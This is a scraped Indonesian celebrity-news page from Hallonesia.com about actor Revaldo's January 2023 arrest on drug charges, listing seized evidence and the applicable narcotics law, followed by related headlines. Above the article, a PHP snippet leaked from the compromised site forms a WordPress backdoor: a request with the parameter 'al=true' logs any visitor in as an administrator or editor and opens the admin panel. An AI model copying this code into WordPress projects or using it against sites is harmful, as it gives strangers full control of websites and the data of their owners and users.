// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Artis Revaldo Fifaldi Suria Permana Kembali Ditangkap Polisi Terkait Kasus Narkoba - Hallonesia.com

Artis Revaldo Fifaldi Suria Permana Kembali Ditangkap Polisi Terkait Kasus Narkoba

Avatar photo

- Pewarta

Kamis, 12 Januari 2023 - 09:43 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Artis Revaldo Fifaldi Suria Permana. (Instagram.com/@revaldo.f.s.p)

Artis Revaldo Fifaldi Suria Permana. (Instagram.com/@revaldo.f.s.p)

HALLONESIA.COM – Artis Revaldo Fifaldi Suria Permana kembali ditangkap polisi terkait kasus dugaan penyalahgunaan narkoba.

Dalam penangkapan ini, petugas juga mengamankan sejumlah barang bukti termasuk ganja.

Kabid Humas Polda Metro Jaya, Kombes Pol Endra Zulpan mengatakan polisi telah melakukan tes urine kepada Revaldo.

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Berdasarkan hasil tes, yang bersangkutan positif narkoba.

“Hasil tes urine positif Methamfetamin, Amfetamin, dan THC,” ujar Zulpan dalam keterangan yang diterima wartawan, Kamis 12 Januari 2023.

Zulpan juga menjelaskan, sejumlah barang bukti yang diamankan dari penangkapan Revaldo di antaranya 1,23 gram ganja, 0,34 gram biji ganja dan dua butir pil ekstasi.

Kemudian ada juga satu plastik klip berisi kertas papir, tiga pack kertas papir, satu penghalus ganja, lima plastik klip sisa sabu, tiga kaca pipet, satu alat hisap ganja, delapan sedotan untuk sendok sabu, dan satu buah HP.

Revaldo dalam kasus tersebut terancam dijerat dengan Pasal 112 ayat (1) subsider Pasal 111 ayat (1) Undang-Undang Republik Indonesia Nomor 35 tahun 2009 tentang Narkotika.***

Klik Google News untuk mengetahui aneka berita dan informasi dari editor Hallo Media Network, semoga bermanfaat.

Berita Terkait

Pasha Ungu Turut Berduka Atas Driver Ojol Yang Tewas Dilindas Rantis
Bareskrim Gelar Tes DNA untuk Ridwan Kamil dan Lisa, Fakta Terkuak
Sidang Ricuh, Nikita Mirzani Tuding Ada Mafia Hukum di Kasus Skincare Rp4 Miliar
Drama Kehamilan DJ Panda, Bravy Ungkap Dua Korban Misterius Lainnya
Ancaman DJ Panda Ke Erika Carlina Bocor, Publik Heboh!
Dari Pesinetron Jadi Terdakwa! Kasus Vape Bius Jonathan Frizzy Naik
Skandal WhatsApp! Data Penyakit Dara Arafah Disebar Vendor Allianz, Heboh
Giring, Yovie, Ari, Ifan: Artis Merajai Jabatan Pengurus BUMN!
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Minggu, 26 Juli 2026 - 09:35 WIB

Dua Alumni Peking University Raih “Fields Medal”, Sebanyak 14 Akademisi PKU Tampil di ICM 2026

Minggu, 26 Juli 2026 - 06:01 WIB

Weichai Group: 40 Tahun Berkarya di Vietnam, Bekerja sama Membangun Masa Depan yang Lebih Hijau dan Cerdas

Jumat, 24 Juli 2026 - 09:57 WIB

Pizza Hut Indonesia dan TUKR Rayakan 10 Tahun Pizza Maker Junior Ajak Anak Peduli Lingkungan

Jumat, 24 Juli 2026 - 05:06 WIB

InfiMotion Technology Tampil Perdana ke Publik, Pamerkan Kapabilitas Lengkap E-Drive di Wuxi

Jumat, 24 Juli 2026 - 03:52 WIB

Pemenang Stevie® Awards for Technology Excellence Tahunan Ketiga Diumumkan

Jumat, 24 Juli 2026 - 03:36 WIB

AdaKami Bangun Akses Air Bersih dan Sanitasi Layak untuk Warga Dusun Banjarsari Lampung Selatan

Jumat, 24 Juli 2026 - 02:00 WIB

UOB Asset Management Soroti Ketahanan Ekonomi Global di Tengah Kondisi yang Semakin Tidak Menentu

Jumat, 24 Juli 2026 - 02:00 WIB

T’way Air Luncurkan Program “Explore Korea, One Destination at a Time”

Berita Terbaru